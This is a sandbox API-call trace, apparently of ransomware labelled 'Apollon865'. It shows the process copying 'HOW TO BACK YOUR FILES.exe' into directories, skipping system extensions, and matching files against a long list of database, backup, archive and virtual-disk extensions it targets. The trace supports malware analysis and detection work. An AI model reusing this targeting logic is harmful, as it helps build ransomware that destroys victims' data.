	[0078.829] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150
	[0078.829] GetLastError () returned 0x0
	[0078.829] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0078.829] ReadFile (in: hFile=0x150, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0078.829] CloseHandle (hObject=0x150) returned 1
	[0078.829] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0078.829] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0078.829] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca110
	[0078.830] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0078.830] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0078.830] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Windows NT", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows NT") returned="C:\\Users\\All Users\\Microsoft\\Windows NT"
	[0078.830] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bca10 | out: hHeap=0x580000) returned 1
	[0078.830] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd68 | out: hHeap=0x580000) returned 1
	[0078.830] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows NT") returned 39
	[0078.830] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows NT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows NT") returned="C:\\Users\\All Users\\Microsoft\\Windows NT"
	[0078.830] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0078.830] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0078.831] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150
	[0078.831] GetLastError () returned 0x0
	[0078.831] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0078.831] ReadFile (in: hFile=0x150, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0078.831] CloseHandle (hObject=0x150) returned 1
	[0078.831] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0078.831] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0078.831] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f7434b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f7434b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca110
	[0078.831] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0078.831] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0078.831] lstrcpyW (in: lpString1=0x119e658, lpString2="MSFax" | out: lpString1="MSFax") returned="MSFax"
	[0078.831] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd68
	[0078.831] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5c) returned 0x5c5458
	[0078.831] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fd70 | out: ListHead=0x5b75f0, ListEntry=0x59fd70) returned 0x59fc10
	[0078.831] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f769610, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f769610, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSScan", cAlternateFileName="")) returned 1
	[0078.832] lstrcmpiW (lpString1="MSScan", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.832] lstrcmpiW (lpString1="MSScan", lpString2="Apollon865.txt.exe") returned 1
	[0078.832] lstrcpyW (in: lpString1=0x119e658, lpString2="MSScan" | out: lpString1="MSScan") returned="MSScan"
	[0078.832] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0078.832] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5e) returned 0x5c5730
	[0078.832] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fc90 | out: ListHead=0x5b75f0, ListEntry=0x59fc90) returned 0x59fd70
	[0078.832] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f769610, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f769610, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSScan", cAlternateFileName="")) returned 0
	[0078.832] FindClose (in: hFindFile=0x5ca110 | out: hFindFile=0x5ca110) returned 1
	[0078.832] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fc90
	[0078.832] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan"
	[0078.832] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5730 | out: hHeap=0x580000) returned 1
	[0078.832] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0078.832] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan") returned 46
	[0078.832] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan"
	[0078.832] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0078.832] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msscan\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0078.833] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150
	[0078.833] GetLastError () returned 0x0
	[0078.833] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0078.833] ReadFile (in: hFile=0x150, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0078.833] CloseHandle (hObject=0x150) returned 1
	[0078.833] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0078.833] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0078.833] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f769610, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f769610, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca110
	[0078.833] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0078.833] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0078.833] lstrcpyW (in: lpString1=0x119e666, lpString2="WelcomeScan.jpg" | out: lpString1="WelcomeScan.jpg") returned="WelcomeScan.jpg"
	[0078.833] lstrlenW (lpString="WelcomeScan.jpg") returned 15
	[0078.833] lstrlenW (lpString="Apollon865") returned 10
	[0078.833] lstrcmpiW (lpString1="meScan.jpg", lpString2="Apollon865") returned 1
	[0078.833] lstrlenW (lpString=".dll") returned 4
	[0078.833] lstrcmpiW (lpString1="WelcomeScan.jpg", lpString2=".dll") returned 1
	[0078.833] lstrlenW (lpString=".lnk") returned 4
	[0078.834] lstrcmpiW (lpString1="WelcomeScan.jpg", lpString2=".lnk") returned 1
	[0078.834] lstrlenW (lpString=".ini") returned 4
	[0078.834] lstrcmpiW (lpString1="WelcomeScan.jpg", lpString2=".ini") returned 1
	[0078.834] lstrlenW (lpString=".sys") returned 4
	[0078.834] lstrcmpiW (lpString1="WelcomeScan.jpg", lpString2=".sys") returned 1
	[0078.834] lstrlenW (lpString="WelcomeScan.jpg") returned 15
	[0078.834] lstrlenW (lpString="bak") returned 3
	[0078.834] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1
	[0078.834] lstrlenW (lpString="ba_") returned 3
	[0078.834] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1
	[0078.834] lstrlenW (lpString="dbb") returned 3
	[0078.834] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1
	[0078.834] lstrlenW (lpString="vmdk") returned 4
	[0078.834] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1
	[0078.834] lstrlenW (lpString="rar") returned 3
	[0078.834] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1
	[0078.834] lstrlenW (lpString="zip") returned 3
	[0078.834] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1
	[0078.834] lstrlenW (lpString="tgz") returned 3
	[0078.834] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1
	[0078.834] lstrlenW (lpString="vbox") returned 4
	[0078.834] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1
	[0078.834] lstrlenW (lpString="vdi") returned 3
	[0078.834] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1
	[0078.834] lstrlenW (lpString="vhd") returned 3
	[0078.834] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1
	[0078.834] lstrlenW (lpString="vhdx") returned 4
	[0078.834] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1
	[0078.834] lstrlenW (lpString="avhd") returned 4
	[0078.834] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1
	[0078.834] lstrlenW (lpString="db") returned 2
	[0078.834] lstrcmpiW (lpString1="pg", lpString2="db") returned 1
	[0078.834] lstrlenW (lpString="db2") returned 3
	[0078.834] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1
	[0078.834] lstrlenW (lpString="db3") returned 3
	[0078.834] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1
	[0078.834] lstrlenW (lpString="dbf") returned 3
	[0078.834] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1
	[0078.834] lstrlenW (lpString="mdf") returned 3
	[0078.835] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1
	[0078.835] lstrlenW (lpString="mdb") returned 3
	[0078.835] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1
	[0078.835] lstrlenW (lpString="sql") returned 3
	[0078.835] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1
	[0078.835] lstrlenW (lpString="sqlite") returned 6
	[0078.835] lstrcmpiW (lpString1="an.jpg", lpString2="sqlite") returned -1
	[0078.835] lstrlenW (lpString="sqlite3") returned 7
	[0078.835] lstrcmpiW (lpString1="can.jpg", lpString2="sqlite3") returned -1
	[0078.835] lstrlenW (lpString="sqlitedb") returned 8
	[0078.835] lstrcmpiW (lpString1="Scan.jpg", lpString2="sqlitedb") returned -1
	[0078.835] lstrlenW (lpString="xml") returned 3
	[0078.835] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1
	[0078.835] lstrlenW (lpString="$er") returned 3
	[0078.835] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1
	[0078.835] lstrlenW (lpString="4dd") returned 3
	[0078.835] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1
	[0078.835] lstrlenW (lpString="4dl") returned 3
	[0078.835] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1
	[0078.835] lstrlenW (lpString="^^^") returned 3
	[0078.835] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1
	[0078.835] lstrlenW (lpString="abs") returned 3
	[0078.835] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1
	[0078.835] lstrlenW (lpString="abx") returned 3
	[0078.835] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1
	[0078.835] lstrlenW (lpString="accdb") returned 5
	[0078.835] lstrcmpiW (lpString1="n.jpg", lpString2="accdb") returned 1
	[0078.835] lstrlenW (lpString="accdc") returned 5
	[0078.835] lstrcmpiW (lpString1="n.jpg", lpString2="accdc") returned 1
	[0078.835] lstrlenW (lpString="accde") returned 5
	[0078.835] lstrcmpiW (lpString1="n.jpg", lpString2="accde") returned 1
	[0078.835] lstrlenW (lpString="accdr") returned 5
	[0078.835] lstrcmpiW (lpString1="n.jpg", lpString2="accdr") returned 1
	[0078.835] lstrlenW (lpString="accdt") returned 5
	[0078.835] lstrcmpiW (lpString1="n.jpg", lpString2="accdt") returned 1
	[0078.835] lstrlenW (lpString="accdw") returned 5
	[0078.835] lstrcmpiW (lpString1="n.jpg", lpString2="accdw") returned 1
	[0078.835] lstrlenW (lpString="accft") returned 5
	[0078.836] lstrcmpiW (lpString1="n.jpg", lpString2="accft") returned 1
	[0078.836] lstrlenW (lpString="adb") returned 3
	[0078.836] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0078.836] lstrlenW (lpString="adb") returned 3
	[0078.836] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0078.836] lstrlenW (lpString="ade") returned 3
	[0078.836] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1
	[0078.836] lstrlenW (lpString="adf") returned 3
	[0078.836] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1
	[0078.836] lstrlenW (lpString="adn") returned 3
	[0078.836] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1
	[0078.836] lstrlenW (lpString="adp") returned 3
	[0078.836] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1
	[0078.836] lstrlenW (lpString="alf") returned 3
	[0078.836] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1
	[0078.836] lstrlenW (lpString="ask") returned 3
	[0078.836] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1
	[0078.836] lstrlenW (lpString="btr") returned 3
	[0078.836] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1
	[0078.836] lstrlenW (lpString="cat") returned 3
	[0078.836] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1
	[0078.836] lstrlenW (lpString="cdb") returned 3
	[0078.836] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1
	[0078.836] lstrlenW (lpString="ckp") returned 3
	[0078.836] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1
	[0078.836] lstrlenW (lpString="cma") returned 3
	[0078.836] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1
	[0078.836] lstrlenW (lpString="cpd") returned 3
	[0078.836] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1
	[0078.836] lstrlenW (lpString="dacpac") returned 6
	[0078.836] lstrcmpiW (lpString1="an.jpg", lpString2="dacpac") returned -1
	[0078.836] lstrlenW (lpString="dad") returned 3
	[0078.836] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1
	[0078.836] lstrlenW (lpString="dadiagrams") returned 10
	[0078.836] lstrcmpiW (lpString1="meScan.jpg", lpString2="dadiagrams") returned 1
	[0078.836] lstrlenW (lpString="daschema") returned 8
	[0078.836] lstrcmpiW (lpString1="Scan.jpg", lpString2="daschema") returned 1
	[0078.837] lstrlenW (lpString="db-journal") returned 10
	[0078.837] lstrcmpiW (lpString1="meScan.jpg", lpString2="db-journal") returned 1
	[0078.837] lstrlenW (lpString="db-shm") returned 6
	[0078.837] lstrcmpiW (lpString1="an.jpg", lpString2="db-shm") returned -1
	[0078.837] lstrlenW (lpString="db-wal") returned 6
	[0078.837] lstrcmpiW (lpString1="an.jpg", lpString2="db-wal") returned -1
	[0078.837] lstrlenW (lpString="dbc") returned 3
	[0078.837] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1
	[0078.837] lstrlenW (lpString="dbs") returned 3
	[0078.837] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1
	[0078.837] lstrlenW (lpString="dbt") returned 3
	[0078.837] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1
	[0078.837] lstrlenW (lpString="dbv") returned 3
	[0078.837] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1
	[0078.837] lstrlenW (lpString="dbx") returned 3
	[0078.837] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1
	[0078.837] lstrlenW (lpString="dcb") returned 3
	[0078.837] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1
	[0078.837] lstrlenW (lpString="dct") returned 3
	[0078.837] lstrcmpiW (lpString1="jpg", lpString2="dct") returned 1
	[0078.837] lstrlenW (lpString="dcx") returned 3
	[0078.837] lstrcmpiW (lpString1="jpg", lpString2="dcx") returned 1
	[0078.837] lstrlenW (lpString="ddl") returned 3
	[0078.837] lstrcmpiW (lpString1="jpg", lpString2="ddl") returned 1
	[0078.837] lstrlenW (lpString="dlis") returned 4
	[0078.837] lstrcmpiW (lpString1=".jpg", lpString2="dlis") returned -1
	[0078.837] lstrlenW (lpString="dp1") returned 3
	[0078.837] lstrcmpiW (lpString1="jpg", lpString2="dp1") returned 1
	[0078.837] lstrlenW (lpString="dqy") returned 3
	[0078.837] lstrcmpiW (lpString1="jpg", lpString2="dqy") returned 1
	[0078.837] lstrlenW (lpString="dsk") returned 3
	[0078.837] lstrcmpiW (lpString1="jpg", lpString2="dsk") returned 1
	[0078.837] lstrlenW (lpString="dsn") returned 3
	[0078.837] lstrcmpiW (lpString1="jpg", lpString2="dsn") returned 1
	[0078.837] lstrlenW (lpString="dtsx") returned 4
	[0078.837] lstrcmpiW (lpString1=".jpg", lpString2="dtsx") returned -1
	[0078.837] lstrlenW (lpString="dxl") returned 3
	[0078.837] lstrcmpiW (lpString1="jpg", lpString2="dxl") returned 1
	[0078.838] lstrlenW (lpString="eco") returned 3
	[0078.838] lstrcmpiW (lpString1="jpg", lpString2="eco") returned 1
	[0078.838] lstrlenW (lpString="ecx") returned 3
	[0078.838] lstrcmpiW (lpString1="jpg", lpString2="ecx") returned 1
	[0078.838] lstrlenW (lpString="edb") returned 3
	[0078.838] lstrcmpiW (lpString1="jpg", lpString2="edb") returned 1
	[0078.838] lstrlenW (lpString="epim") returned 4
	[0078.838] lstrcmpiW (lpString1=".jpg", lpString2="epim") returned -1
	[0078.838] lstrlenW (lpString="fcd") returned 3
	[0078.838] lstrcmpiW (lpString1="jpg", lpString2="fcd") returned 1
	[0078.838] lstrlenW (lpString="fdb") returned 3
	[0078.838] lstrcmpiW (lpString1="jpg", lpString2="fdb") returned 1
	[0078.838] lstrlenW (lpString="fic") returned 3
	[0078.838] lstrcmpiW (lpString1="jpg", lpString2="fic") returned 1
	[0078.838] lstrlenW (lpString="flexolibrary") returned 12
	[0078.838] lstrcmpiW (lpString1="comeScan.jpg", lpString2="flexolibrary") returned -1
	[0078.838] lstrlenW (lpString="fm5") returned 3
	[0078.838] lstrcmpiW (lpString1="jpg", lpString2="fm5") returned 1
	[0078.838] lstrlenW (lpString="fmp") returned 3
	[0078.838] lstrcmpiW (lpString1="jpg", lpString2="fmp") returned 1
	[0078.838] lstrlenW (lpString="fmp12") returned 5
	[0078.838] lstrcmpiW (lpString1="n.jpg", lpString2="fmp12") returned 1
	[0078.838] lstrlenW (lpString="fmpsl") returned 5
	[0078.838] lstrcmpiW (lpString1="n.jpg", lpString2="fmpsl") returned 1
	[0078.838] lstrlenW (lpString="fol") returned 3
	[0078.838] lstrcmpiW (lpString1="jpg", lpString2="fol") returned 1
	[0078.838] lstrlenW (lpString="fp3") returned 3
	[0078.838] lstrcmpiW (lpString1="jpg", lpString2="fp3") returned 1
	[0078.838] lstrlenW (lpString="fp4") returned 3
	[0078.838] lstrcmpiW (lpString1="jpg", lpString2="fp4") returned 1
	[0078.838] lstrlenW (lpString="fp5") returned 3
	[0078.838] lstrcmpiW (lpString1="jpg", lpString2="fp5") returned 1
	[0078.838] lstrlenW (lpString="fp7") returned 3
	[0078.838] lstrcmpiW (lpString1="jpg", lpString2="fp7") returned 1
	[0078.838] lstrlenW (lpString="fpt") returned 3
	[0078.838] lstrcmpiW (lpString1="jpg", lpString2="fpt") returned 1
	[0078.838] lstrlenW (lpString="frm") returned 3
	[0078.839] lstrcmpiW (lpString1="jpg", lpString2="frm") returned 1
	[0078.839] lstrlenW (lpString="gdb") returned 3
	[0078.839] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0078.839] lstrlenW (lpString="gdb") returned 3
	[0078.839] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0078.839] lstrlenW (lpString="grdb") returned 4
	[0078.839] lstrcmpiW (lpString1=".jpg", lpString2="grdb") returned -1
	[0078.839] lstrlenW (lpString="gwi") returned 3
	[0078.839] lstrcmpiW (lpString1="jpg", lpString2="gwi") returned 1
	[0078.839] lstrlenW (lpString="hdb") returned 3
	[0078.839] lstrcmpiW (lpString1="jpg", lpString2="hdb") returned 1
	[0078.839] lstrlenW (lpString="his") returned 3
	[0078.839] lstrcmpiW (lpString1="jpg", lpString2="his") returned 1
	[0078.839] lstrlenW (lpString="ib") returned 2
	[0078.839] lstrcmpiW (lpString1="pg", lpString2="ib") returned 1
	[0078.839] lstrlenW (lpString="idb") returned 3
	[0078.839] lstrcmpiW (lpString1="jpg", lpString2="idb") returned 1
	[0078.839] lstrlenW (lpString="ihx") returned 3
	[0078.839] lstrcmpiW (lpString1="jpg", lpString2="ihx") returned 1
	[0078.839] lstrlenW (lpString="itdb") returned 4
	[0078.839] lstrcmpiW (lpString1=".jpg", lpString2="itdb") returned -1
	[0078.839] lstrlenW (lpString="itw") returned 3
	[0078.839] lstrcmpiW (lpString1="jpg", lpString2="itw") returned 1
	[0078.839] lstrlenW (lpString="jet") returned 3
	[0078.839] lstrcmpiW (lpString1="jpg", lpString2="jet") returned 1
	[0078.839] lstrlenW (lpString="jtx") returned 3
	[0078.839] lstrcmpiW (lpString1="jpg", lpString2="jtx") returned -1
	[0078.839] lstrlenW (lpString="kdb") returned 3
	[0078.839] lstrcmpiW (lpString1="jpg", lpString2="kdb") returned -1
	[0078.839] lstrlenW (lpString="kexi") returned 4
	[0078.839] lstrcmpiW (lpString1=".jpg", lpString2="kexi") returned -1
	[0078.839] lstrlenW (lpString="kexic") returned 5
	[0078.839] lstrcmpiW (lpString1="n.jpg", lpString2="kexic") returned 1
	[0078.839] lstrlenW (lpString="kexis") returned 5
	[0078.839] lstrcmpiW (lpString1="n.jpg", lpString2="kexis") returned 1
	[0078.839] lstrlenW (lpString="lgc") returned 3
	[0078.839] lstrcmpiW (lpString1="jpg", lpString2="lgc") returned -1
	[0078.840] lstrlenW (lpString="lwx") returned 3
	[0078.840] lstrcmpiW (lpString1="jpg", lpString2="lwx") returned -1
	[0078.840] lstrlenW (lpString="maf") returned 3
	[0078.840] lstrcmpiW (lpString1="jpg", lpString2="maf") returned -1
	[0078.840] lstrlenW (lpString="maq") returned 3
	[0078.840] lstrcmpiW (lpString1="jpg", lpString2="maq") returned -1
	[0078.840] lstrlenW (lpString="mar") returned 3
	[0078.840] lstrcmpiW (lpString1="jpg", lpString2="mar") returned -1
	[0078.840] lstrlenW (lpString="marshal") returned 7
	[0078.840] lstrcmpiW (lpString1="can.jpg", lpString2="marshal") returned -1
	[0078.840] lstrlenW (lpString="mas") returned 3
	[0078.840] lstrcmpiW (lpString1="jpg", lpString2="mas") returned -1
	[0078.840] lstrlenW (lpString="mav") returned 3
	[0078.840] lstrcmpiW (lpString1="jpg", lpString2="mav") returned -1
	[0078.840] lstrlenW (lpString="maw") returned 3
	[0078.840] lstrcmpiW (lpString1="jpg", lpString2="maw") returned -1
	[0078.840] lstrlenW (lpString="mdbhtml") returned 7
	[0078.840] lstrcmpiW (lpString1="can.jpg", lpString2="mdbhtml") returned -1
	[0078.840] lstrlenW (lpString="mdn") returned 3
	[0078.840] lstrcmpiW (lpString1="jpg", lpString2="mdn") returned -1
	[0078.840] lstrlenW (lpString="mdt") returned 3
	[0078.840] lstrcmpiW (lpString1="jpg", lpString2="mdt") returned -1
	[0078.840] lstrlenW (lpString="mfd") returned 3
	[0078.840] lstrcmpiW (lpString1="jpg", lpString2="mfd") returned -1
	[0078.840] lstrlenW (lpString="mpd") returned 3
	[0078.840] lstrcmpiW (lpString1="jpg", lpString2="mpd") returned -1
	[0078.840] lstrlenW (lpString="mrg") returned 3
	[0078.840] lstrcmpiW (lpString1="jpg", lpString2="mrg") returned -1
	[0078.840] lstrlenW (lpString="mud") returned 3
	[0078.840] lstrcmpiW (lpString1="jpg", lpString2="mud") returned -1
	[0078.840] lstrlenW (lpString="mwb") returned 3
	[0078.840] lstrcmpiW (lpString1="jpg", lpString2="mwb") returned -1
	[0078.840] lstrlenW (lpString="myd") returned 3
	[0078.840] lstrcmpiW (lpString1="jpg", lpString2="myd") returned -1
	[0078.840] lstrlenW (lpString="ndf") returned 3
	[0078.840] lstrcmpiW (lpString1="jpg", lpString2="ndf") returned -1
	[0078.840] lstrlenW (lpString="nnt") returned 3
	[0078.841] lstrcmpiW (lpString1="jpg", lpString2="nnt") returned -1
	[0078.841] lstrlenW (lpString="nrmlib") returned 6
	[0078.841] lstrcmpiW (lpString1="an.jpg", lpString2="nrmlib") returned -1
	[0078.841] lstrlenW (lpString="ns2") returned 3
